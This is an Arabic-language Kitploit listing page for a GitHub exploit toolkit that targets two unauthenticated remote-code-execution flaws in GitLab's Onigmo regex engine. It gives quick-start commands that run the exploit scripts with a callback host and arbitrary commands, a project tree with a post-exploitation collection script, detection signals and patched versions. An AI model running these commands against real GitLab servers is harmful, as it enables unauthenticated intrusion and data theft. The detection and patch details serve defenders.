Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/murat-levi/gitlab-rce-toolkit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقأداة الوصول عن بعدتطوير الحمولاتمختبرات وتدريب عملي
GitHubmurat-levi/gitlab-rce-toolkit

gitlab-rce-toolkit

CVE-2026-97229 + CVE-2026-110264 — مجموعة أدوات استغلال RCE في GitLab Onigmo (CVSS 10.0)

عرض المستودع
42منذ 6 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مجموعة أدوات استغلال GitLab Onigmo RCE

CVE-2026-97229 + CVE-2026-110264 — ثغرتان حرجتان (CVSS 10.0) لتنفيذ التعليمات البرمجية عن بُعد (RCE) دون مصادقة في GitLab CE/EE عبر تجاوز سعة عدد صحيح في محرك التعبيرات النمطية Onigmo.

للاختبار المصرّح به فقط. يجب أن يكون كل هدف ملكًا لك أو مشمولًا بتصريح كتابي.

الثغرات

CVEالمتجهالمتأثرالمُشغِّلالمصادقة المطلوبة
CVE-2026-97229مُصرِّف التعبيرات النمطية في CI/CD19.2.0–19.4.1GET /api/v4/projects/:id/ci/lintمُشغِّل دون مصادقة (صلاحية كتابة للإعداد)
CVE-2026-110264عرض .org في Org-mode7.0–19.5.0عرض ملف .org مُصمَّملا حاجة إلى حساب

البنية

تستغل كلتا الثغرتين السبب الجذري نفسه: تجاوز سعة عدد صحيح في محرك التعبيرات النمطية Onigmo ← كتابة خارج الحدود (OOB write) ← اختطاف الآلة الافتراضية ← system(). الفرق يكمن في مسار التسليم:

  • CVE-2026-97229: تعبير نمطي خبيث في rules:exists:regexp داخل .gitlab-ci.yml ← واجهة CI lint البرمجية
  • CVE-2026-110264: كلمة مفتاحية خبيثة #+TODO: في ملف .org ← مُصيِّر Org-mode

البدء السريع

# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

هيكل المشروع

exploit/
├── cve97229.py       # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode render RCE (CVE-2026-110264)
├── layout.py         # libruby.so offset derivation
├── common.py         # shared Onigmo payload + callback server
└── post/
    └── collect.sh    # post-exploitation collection
lab/
├── run.sh            # Docker lab launcher
└── stop.sh           # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis

الكشف

ثلاث إشارات لكلتا الثغرتين:

  1. انهيار عامل Puma: [BUG] Segmentation fault مع إطارات org-ruby أو regexp_matcher.rb
  2. خطأ Workhorse 502: badgateway: failed to receive response: EOF
  3. محتوى Git: محددات كميات مقسومة بـ (?#)، تكرارات [[:word:]]، مسارات UTF-8 بأربعة بايتات

الإصدارات المُصلَحة

CVEالمُصلَح
CVE-2026-9722919.2.8, 19.3.5, 19.4.2
CVE-2026-11026418.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

الشكر والتقدير

  • joaxcar — الاكتشاف الأصلي لـ CVE-2026-97229 (HackerOne)
  • Rapid7 (Jonah Burgess) — التحليل التقني وإثبات المفهوم المستقل لـ CVE-2026-97229
  • gandli — مرجع إطار عمل المختبر لـ CVE-2026-97229
  • GitLab Security — قواعد الكشف والتنبيه الأمني
  • تقنية استغلال CVE-2026-110264 مستمدة من ملاحظات الكشف المنشورة من GitLab

الترخيص

MIT — لاختبارات الأمان المصرّح بها فقط.

تنزيل الأداة